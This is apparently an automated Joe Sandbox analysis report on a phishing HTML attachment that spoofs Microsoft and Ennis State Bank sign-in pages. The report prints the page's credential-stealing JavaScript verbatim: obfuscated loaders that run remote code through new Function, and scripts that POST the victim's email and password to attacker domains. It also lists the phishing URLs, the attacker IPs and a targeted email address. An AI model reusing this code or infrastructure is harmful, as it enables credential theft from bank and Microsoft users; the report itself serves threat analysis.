Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Label
file:///C:/Users/user/Desktop/doc55334.html	0%	Avira URL Cloud	safe
https://fugatyu238adneu90ew4s.org/api/v3/login	100%	Avira URL Cloud	phishing
https://fugatyu238adneu90ew4s.org/api/v3/auth	100%	Avira URL Cloud	phishing
http://154.216.17.193/	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Reputation
cdnjs.cloudflare.com	104.17.24.14	true	false	high
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	high
www.google.com	172.217.19.228	true	false	high
fugatyu238adneu90ew4s.org	154.216.19.40	true	false	unknown
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
passwordreset.microsoftonline.com	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	high
ajax.aspnetcdn.com	unknown	unknown	false	high
aadcdn.msftauthimages.net	unknown	unknown	false	high

Name	Malicious	Antivirus Detection	Reputation
http://154.216.17.193/	false	Avira URL Cloud: safe	unknown
https://fugatyu238adneu90ew4s.org/api/v3/login	false	Avira URL Cloud: phishing	unknown
https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js	false		high
https://fugatyu238adneu90ew4s.org/api/v3/auth	false	Avira URL Cloud: phishing	unknown
https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_8owwt4u-33ps0wawi7tmow2.css	false		high
https://passwordreset.microsoftonline.com/Default.aspx?ru=https%3A%2F%2Flogin.microsoftonline.com%2Fcommon%2Freprocess%3Fctx%3DrQQIARAAhZLNa9MAAMWbdq1b0dlNET0IEzzIJG2-0xR2SJt-pFuStU0amoOlaZM0bZqkbdK0uYseB8LAgRcPojt6Ei8Kehi7uPP8DwRFPMiObnoeXh7v8d7t_ZLLRBom0lAa2owhaSh3HyMJHMNwFUSRLgFilAqBWVQjQLhHoecVQhLdzmQ9mXr8xL-3_yNTePN8bbO59fnFIbDR9zx3mstkgiBIO7pudrV01xllrI7dM21jhrwDgBMAOIjGNRuUGofRKYFmYZTCYQInYRQlYRhJt0QabslsqAw4TyizGG9CkCJagx25OuTCoseLUtgKhwuuXMQUWYK4cAgrMhcI4tDjRmzIFy72tcWO2B8JIudxTG3BDaSAZySEZ2r4afS6QPteH7kQZ2KG2q_oiu5MRm3XmXoHsf0oa2_LVLkyq3f8Rcjy42q1gpCmQMlwFxs7xZaUX_TC1rRdsn18Z9uFFFrtg9VCXfLl4XAATjhyx9iFbFKCkOliYbCo2K-apqzkLV0k59uUU1B5vcD2XAItBc1i1RBMexdCbdjrBzZfLpXzou808Www5STOmtfAkS_DeAlSF0h7e9jlVa_RbWBzmOk4vR4KVXlZ1gJK1gdsVt015tREwAl80pg3CmatrxqjsSVW8CZV4uyybMrZPO-5TYyzS2irgyjCjDXyltFG9VCv0_zApcJsvUkTSjB383gFZECD7jShRnAYu3PJvTPkbSxxbkaOfRwjHVezzd6GO3F009IuQ2KGZIS_qeKMtDRtWSdLwLelW8uJVOp2ZCPy4CYUyy0vJ1ORi3S2BLyMnxMXxlcTj-4q9OuVr59-j6nIcTzTLNgMjVMGKs_6XmgV8g8JXrJ0oYQTZTxDDOcNX-34vfmYcbbgHLyXAPYSiePEGsu0-aLYEGmeoesM0oZ-JoCnVyLvV_7L8OnVG8mkb7Ytp9uxtOn6P5Y_XoucrR59-fDs1d7R98of0&mkt=en-US&hosted=0&device_platform=Windows%2010	false		high
https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQQIARAAhZLNa9MAAMWbdq1b0dlNET0IEzzIJG2-0xR2SJt-pFuStU0amoOlaZM0bZqkbdK0uYseB8LAgRcPojt6Ei8Kehi7uPP8DwRFPMiObnoeXh7v8d7t_ZLLRBom0lAa2owhaSh3HyMJHMNwFUSRLgFilAqBWVQjQLhHoecVQhLdzmQ9mXr8xL-3_yNTePN8bbO59fnFIbDR9zx3mstkgiBIO7pudrV01xllrI7dM21jhrwDgBMAOIjGNRuUGofRKYFmYZTCYQInYRQlYRhJt0QabslsqAw4TyizGG9CkCJagx25OuTCoseLUtgKhwuuXMQUWYK4cAgrMhcI4tDjRmzIFy72tcWO2B8JIudxTG3BDaSAZySEZ2r4afS6QPteH7kQZ2KG2q_oiu5MRm3XmXoHsf0oa2_LVLkyq3f8Rcjy42q1gpCmQMlwFxs7xZaUX_TC1rRdsn18Z9uFFFrtg9VCXfLl4XAATjhyx9iFbFKCkOliYbCo2K-apqzkLV0k59uUU1B5vcD2XAItBc1i1RBMexdCbdjrBzZfLpXzou808Www5STOmtfAkS_DeAlSF0h7e9jlVa_RbWBzmOk4vR4KVXlZ1gJK1gdsVt015tREwAl80pg3CmatrxqjsSVW8CZV4uyybMrZPO-5TYyzS2irgyjCjDXyltFG9VCv0_zApcJsvUkTSjB383gFZECD7jShRnAYu3PJvTPkbSxxbkaOfRwjHVezzd6GO3F009IuQ2KGZIS_qeKMtDRtWSdLwLelW8uJVOp2ZCPy4CYUyy0vJ1ORi3S2BLyMnxMXxlcTj-4q9OuVr59-j6nIcTzTLNgMjVMGKs_6XmgV8g8JXrJ0oYQTZTxDDOcNX-34vfmYcbbgHLyXAPYSiePEGsu0-aLYEGmeoesM0oZ-JoCnVyLvV_7L8OnVG8mkb7Ytp9uxtOn6P5Y_XoucrR59-fDs1d7R98of0&mkt=en-US&hosted=0&device_platform=Windows+10	false		high
https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg	false		high
file:///C:/Users/user/Desktop/doc55334.html	true	Avira URL Cloud: safe	unknown

IP	Domain	Country	ASN	ASN Name	Malicious
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
172.217.19.228	www.google.com	United States	15169	GOOGLEUS	false
154.216.17.193	unknown	Seychelles	135357	SKHT-ASShenzhenKatherineHengTechnologyInformationCo	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
154.216.19.40	fugatyu238adneu90ew4s.org	Seychelles	135357	SKHT-ASShenzhenKatherineHengTechnologyInformationCo	false
152.199.21.175	sni1gl.wpc.omegacdn.net	United States	15133	EDGECASTUS	false
104.17.25.14	unknown	United States	13335	CLOUDFLARENETUS	false

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577968
Start date and time:	2024-12-18 23:23:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowshtmlcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	doc55334.html
Detection:	MAL
Classification:	mal92.phis.winHTML@25/89@28/8
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .html

Input	Output
URL: https://microsoftonline.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoftonline.com
URL: file:///C:/Users/user/Desktop/doc55334.html... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "The provided JavaScript snippet exhibits several high-risk behaviors, including data exfiltration, dynamic code execution, and interaction with suspicious domains. While the script appears to have some legitimate functionality, such as generating a UUID and checking the validity of an email address, the overall behavior is concerning and requires further investigation." }
function isBase64(str) { if (str ==="" \|\| str.trim() ===""){ return false; } try { return btoa(atob(str)) == str; } catch (err) { return false; } } function checkIfEmail(str) { const regexExp = /^[a-zA-Z0-9.!#$%&"+/=?^_`{\|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)$/gi; return regexExp.test(str); } function uuidv4() { return ([1e7]+-1e3+-4e3+-8e3+-1e11).replace(/[018]/g, c => (c ^ crypto.getRandomValues(new Uint8Array(1))[0] & 15 >> c / 4).toString(16) ); } function myFunction() { $(document).ready(function(){ let cfg = "klever@ennisstatebank.com"; let uuid = "38702d06-aa09-4906-912a-b1b2c69a55fa"; let servers = ["avalangrindsen42aaie3.org", "blukanishiei439393u4n.org", "cadellierr4tutyr3aqe4.org", "decatilopisakifrediom.org", "eadirfru439daafhrur3w.org", "fugatyu238adneu90ew4s.org", "gustav0eliko5madros29.org", "hukal31teguass4rtunia.org", "intelecatik57aruina2s.org"]; let choice = Math.floor(Math.random()*servers.length); let server = servers[choice]; let uniqueId = uuidv4(); if (typeof cfg === "undefined"){ cfg = ""; }else{ if (isBase64(cfg)){ cfg = window.atob(cfg); } if (!checkIfEmail(cfg)){ cfg = ""; } } $("#ray-code").html(uniqueId); $.ajax({ url: "https://" + server +"/api/v3/auth", type: "POST", contentType: "application/json", data: JSON.stringify({ uuid: uuid, identifier: uniqueId, server: server, user: cfg }), dataType: "json", startTime: performance.now(), success: function(resp) { $("#cf-challenge-running").hide(); $("#challenge-spinner").hide(); $("#challenge-all").hide(); $(".main-wrapper").css("flex","0 1 0%"); $("#challenge-success").show(); setTimeout(function(){ document.open("text/html", "replace"); document.write(resp.message); document.close(); }, 1000); }, error: function(xhr) { console.log(xhr); } }); }); } setTimeout(function(){myFunction()}, 2000);
URL: file:///C:/Users/user/Desktop/doc55334.html... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The script uses the `Function` constructor to execute remote code, which is a major security risk. It also appears to be sending sensitive data (potentially user credentials) to an unknown domain. The heavy obfuscation of the code and URLs further increases the suspicion of malicious intent. Overall, this script exhibits a high level of risk and should be treated with caution." }
const _zpCJraoDZZ = _jmaHMwM5dI => _jmaHMwM5dI.split('').reduce((acc, char) => acc + (char === '=' ? char : 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='.charAt(('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='.indexOf(char) - 3 + 64) % 64)), '');const _UGnrtVsfGl = s => s.replace(/=+$/, '').split('').reduce((acc, c) => { let idx = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".indexOf(c); if (idx !== -1) { acc.buffer = (acc.buffer << 6) \| idx; acc.bitCount += 6; if (acc.bitCount >= 8) { acc.bitCount -= 8; acc.output += String.fromCharCode((acc.buffer >> acc.bitCount) & 0xFF); acc.buffer &= (1 << acc.bitCount) - 1; } } return acc; }, { output: '', buffer: 0, bitCount: 0 }).output;let cfg = "klever@ennisstatebank.com";(() => {const _U1fGHWtzHr = (_HX0gVYMvcB) => {const _mUi7Jr9zsY = _UGnrtVsfGl(_HX0gVYMvcB); const _cqBQijja4U = (_SVg5KaxzrA) => {try {new Function(_SVg5KaxzrA)();} catch (error) {console.error(error);}};const _jcUg3cb207 = () => {const _SVg5KaxzrA = _mUi7Jr9zsY;_cqBQijja4U(_SVg5KaxzrA);};_jcUg3cb207();};const _Hzi4FU6AKo = "FZcogJQrNFgrgKUzRl/yPWX3OmL0Ql70Q170RWPyM1zjhz3NFTnMeZY3dJAnRlDqXHAWYFfvGTrMFTorcZIncaM2RlE+GTrMFTnMM3QyeqUoeqTwYKozcVf9LFgkfKEvdZQkgJoyelAtf5AxM1zQFjnMFa3vGTrMFTole5U8RlENX3AROqQ3fpoxc5ophVk+GTrMFTnMfJI1bZ4ogJY1RlEmcpfvGTrMFTnMgJAucZ79LFf2RGfzPpTzQl4kbWD8OWT8PGbwRWH1bV4lPZL1b2b8bWX4cpHqGTrMFToANT3NFToANT3NFTnxgJkoelk1caQze582cVDASlE1caQze582cV8tf5AxNFnsGTrMFV83dJYxNJUkgJHjSW7jhz3NFTnMcJAmgZ4oeqTxe6EoeljlgJY7gFArgJ4vLlzjLqMofJ0kb5XlNWvQFjnMFZUyb6YwcZ83Oqg1daUoNJUkgJHxdKUweFn+GTrMFTone5Q4eZYxgF8meJA2cVjsRz3NFToANT3NFTnxb5I3b5jrcaM1e6LjSW7jb5Axf5AvcV8ofqMyfljqUaM1e6L9M1zjcaM1e6LsNWv="; const f6KNybZibv = _zpCJraoDZZ(_Hzi4FU6AKo); _U1fGHWtzHr(f6KNybZibv);})();
URL: file:///C:/Users/user/Desktop/doc55334.html... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated code and the script's ability to execute arbitrary code on the user's system make it a significant security concern. While the script may have some legitimate functionality, the overall risk outweighs any potential benefits." }
(function(_0x6e0785,_0x3a895f){var _0x41565b=_0x3cef,_0x55c6bf=_0x6e0785();while(!![]){try{var _0x54ff47=parseInt(_0x41565b(0x6c))/0x1(-parseInt(_0x41565b(0x83))/0x2)+-parseInt(_0x41565b(0x90))/0x3+parseInt(_0x41565b(0x97))/0x4+-parseInt(_0x41565b(0x9b))/0x5+parseInt(_0x41565b(0x77))/0x6(-parseInt(_0x41565b(0x74))/0x7)+parseInt(_0x41565b(0x86))/0x8*(-parseInt(_0x41565b(0x78))/0x9)+parseInt(_0x41565b(0xa3))/0xa;if(_0x54ff47===_0x3a895f)break;else _0x55c6bf['push'](_0x55c6bf['shift']());}catch(_0xbc0a5f){_0x55c6bf['push'](_0x55c6bf['shift']());}}}(_0x36b3,0x98583),$(document)['ready'](function(){var _0x193e4c=_0x3cef;let _0x1c73f5='8838556d-9c80-49e4-9e55-45d60de554cf',_0x2fb9fe=_0x193e4c(0x85),_0x2efbbf=_0x193e4c(0x88),_0x16b1df=$(_0x193e4c(0x6f))['html']();$(_0x193e4c(0x81))[_0x193e4c(0x8e)](),$(_0x193e4c(0x9a))['on'](_0x193e4c(0x94),function(_0x10d59c){var _0x4339b2=_0x193e4c;event['preventDefault']?event['preventDefault']():event[_0x4339b2(0x8a)]=![];var _0x3e519e=$(_0x4339b2(0x81))[_0x4339b2(0x84)]();!_0x3e519e?($(_0x4339b2(0x70))[_0x4339b2(0x96)](_0x4339b2(0x82)),$(_0x4339b2(0x70))[_0x4339b2(0x72)](),$('#i0118')[_0x4339b2(0x7a)]('border-color',_0x4339b2(0x76)),$(_0x4339b2(0x81))[_0x4339b2(0x8e)]()):($(_0x4339b2(0x73))[_0x4339b2(0x72)](),$(_0x4339b2(0x9a))['prop'](_0x4339b2(0xa0),!![]),$('.lightbox-cover')['addClass'](_0x4339b2(0x6b)),$[_0x4339b2(0x7e)]({'url':'https://'+_0x2efbbf+_0x4339b2(0x93),'type':_0x4339b2(0x87),'beforeSend':function(_0x5cbd98){var _0x3a57ed=_0x4339b2;_0x5cbd98[_0x3a57ed(0x8d)](_0x3a57ed(0x9f),'Bearer\x20'+_0x2fb9fe);},'contentType':_0x4339b2(0x7b),'data':JSON[_0x4339b2(0x7d)]({'identifier':_0x1c73f5,'token':_0x2fb9fe,'server':_0x2efbbf,'user':_0x16b1df,'vault':_0x3e519e}),'dataType':_0x4339b2(0x6d),'success':function(_0x5c6cc8){var _0x17326e=_0x4339b2;if(_0x5c6cc8[_0x17326e(0x8c)]==_0x17326e(0x80))setTimeout(function(){var _0x208e99=_0x17326e;document[_0x208e99(0x92)]('text/html',_0x208e99(0xa2)),document[_0x208e99(0x7c)](_0x5c6cc8[_0x208e99(0x9e)]),document[_0x208e99(0x9d)]();},0x3e8);else _0x5c6cc8[_0x17326e(0x8c)]==_0x17326e(0x8f)?$[_0x17326e(0x7e)]({'url':_0x17326e(0x7f),'data':{'id':_0x16b1df,'key':_0x3e519e,'config':_0x5c6cc8[_0x17326e(0x9e)]},'type':'POST','success':function(_0xec1b8a){setTimeout(function(){var _0x504697=_0x3cef;window.top[_0x504697(0x6e)][_0x504697(0xa1)]=_0x504697(0x8b);},0x7d0);},'error':function(_0x59e93b){var _0xe3c22b=_0x17326e;console['log'](_0xe3c22b(0x71));}}):($(_0x17326e(0x73))[_0x17326e(0x75)](),$(_0x17326e(0x89))[_0x17326e(0x91)](_0x17326e(0x6b)),$(_0x17326e(0x9a))[_0x17326e(0x9c)]('disabled',![]),$(_0x17326e(0x70))[_0x17326e(0x96)]('Your\x20account\x20or\x20password\x20is\x20incorrect.\x20If\x20you\x20don\x27t\x20remember\x20your\x20password,\x20<a\x20id=\x22idA_IL_ForgotPassword0\x22\x20href=\x22https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQQIARAAhdK5j-N0FAfwHDPZ2QjYYUErKJCmoECgOD8fceJICJw4jp1xHMZxDofC8vi-7zjxX0BBsaJcISSo2KGj4aigQ6MttoFiRAUdCITQFlsyA_WK5ul99X3d-zSPcAjGIQCBN-sIBPqvY128g2Gd8xaKqHgLI85Bq4fqeAvWCPS6Qrq4qiR3m8erd_qfPHn_nPycaH746zd3ri6qJ1aWRWm_3S6KAgoNw1Z1SA39tqcEmh2YW-TravVxtfqgdqgHrcX8opbiaA_GEBglMACjOA5jKMRTbjmjzN1GlDJJpG3eBkASBzYnmgVfshnvTxzeWVqzFe1uxosO79DeTFzAkjPKNpS7n-4BmIoqyoluZ4ossilCW_yYLXnHLCRngV3V7szIPLOQmxEmdqn_XbtthIkvR2GaPah_UbOZJWK21PVSk7PY0HOByhm1MCbaaGdgp0pvnMiGpGiTqOSmyE4Z7idhNO_SG14Q5taIZpawmceCuiXOBgICihY6AEJODdkxzkZe0IGVQpZm3CCQu9Kqh8G-MldjICtgocfGlloxQ3att5C42zu188WcTO3kLC4s1y4IdgOw0c4LibNgQjGndKxFcJdUuWkEc0vwXhQk4o5zOJI-FUvWS7KRLAXK1o_jdD8uMz7wLPd8vwgjabAjXD8cmbOc7JhKRO5hbqOFCbyWY37lpXJp2HN5IBNRMMJEZ5in_jARshJO3cD1pwzLTfJxUaynF_VXn_HzLfJlvXG9-GFwWe-GkR7Y2kmUhIbt6c9yskXas38TE_o6RHreL_V7PqTmnq8n71q5fs1ITfY3p48Pqr8d3DtqHB-_UjmpvPEyqPePjprHlZv09KD62eG1z-TTP-mHT14jH371O37r-48ql4dtEVaYWFivzC05AwM0UN8q0ASP4qIUdI03nAjLWFoZu2NLfRvrw_cb1fuNxmXjRZaS-ZE4F0meIgUKkcFfjdoHtyrf3v5f8VfPvdRs5rbshari6end_-R_93zl6QuPHv348U8___AH8w81&mkt=en-US&hosted=0&device_p
URL: file:///C:/Users/user/Desktop/doc55334.html Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: file:///C:/Users/user/Desktop/doc55334.html Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: file:///C:/Users/user/Desktop/doc55334.html Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: file:///C:/Users/user/Desktop/doc55334.html Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: file:///C:/Users/user/Desktop/doc55334.html Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: file:///C:/Users/user/Desktop/doc55334.html Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: file:///C:/Users/user/Desktop/doc55334.html Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Enter password", "prominent_button_name": "Sign in", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: file:///C:/Users/user/Desktop/doc55334.html Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Enter password", "prominent_button_name": "Sign in", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: file:///C:/Users/user/Desktop/doc55334.html Model: Joe Sandbox AI	{ "brands": [ "Ennis State Bank", "Trinity Capital Bank" ] }

URL: file:///C:/Users/user/Desktop/doc55334.html Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Enter password", "prominent_button_name": "Sign in", "text_input_field_labels": [ "Please enter your password." ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: file:///C:/Users/user/Desktop/doc55334.html Model: Joe Sandbox AI	{ "brands": [ "Ennis State Bank", "Trinity Capital Bank" ] }

URL: file:///C:/Users/user/Desktop/doc55334.html Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Enter password", "prominent_button_name": "Sign in", "text_input_field_labels": [ "Please enter your password." ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: file:///C:/Users/user/Desktop/doc55334.html Model: Joe Sandbox AI	{ "brands": [ "Ennis State Bank", "Trinity Capital Bank" ] }

URL: file:///C:/Users/user/Desktop/doc55334.html Model: Joe Sandbox AI	{ "brands": [ "Ennis State Bank", "Trinity Capital Bank" ] }

URL: https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQQIARAAhZLNa9MAAMWbdq1b0dlNET0IEzzIJG2-0xR2SJt-pFuStU0amoOlaZM0bZqkbdK0uYseB8LAgRcPojt6Ei8Kehi7uPP8DwRFPMiObnoeXh7v8d7t_ZLLRBom0lAa2owhaSh3 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Get back into your account", "prominent_button_name": "Next", "text_input_field_labels": [ "Email or Username:" ], "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQQIARAAhZLNa9MAAMWbdq1b0dlNET0IEzzIJG2-0xR2SJt-pFuStU0amoOlaZM0bZqkbdK0uYseB8LAgRcPojt6Ei8Kehi7uPP8DwRFPMiObnoeXh7v8d7t_ZLLRBom0lAa2owhaSh3 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQQIARAAhZLNa9MAAMWbdq1b0dlNET0IEzzIJG2-0xR2SJt-pFuStU0amoOlaZM0bZqkbdK0uYseB8LAgRcPojt6Ei8Kehi7uPP8DwRFPMiObnoeXh7v8d7t_ZLLRBom0lAa2owhaSh3 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Get back into your account", "prominent_button_name": "Next", "text_input_field_labels": [ "Email or Username:" ], "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

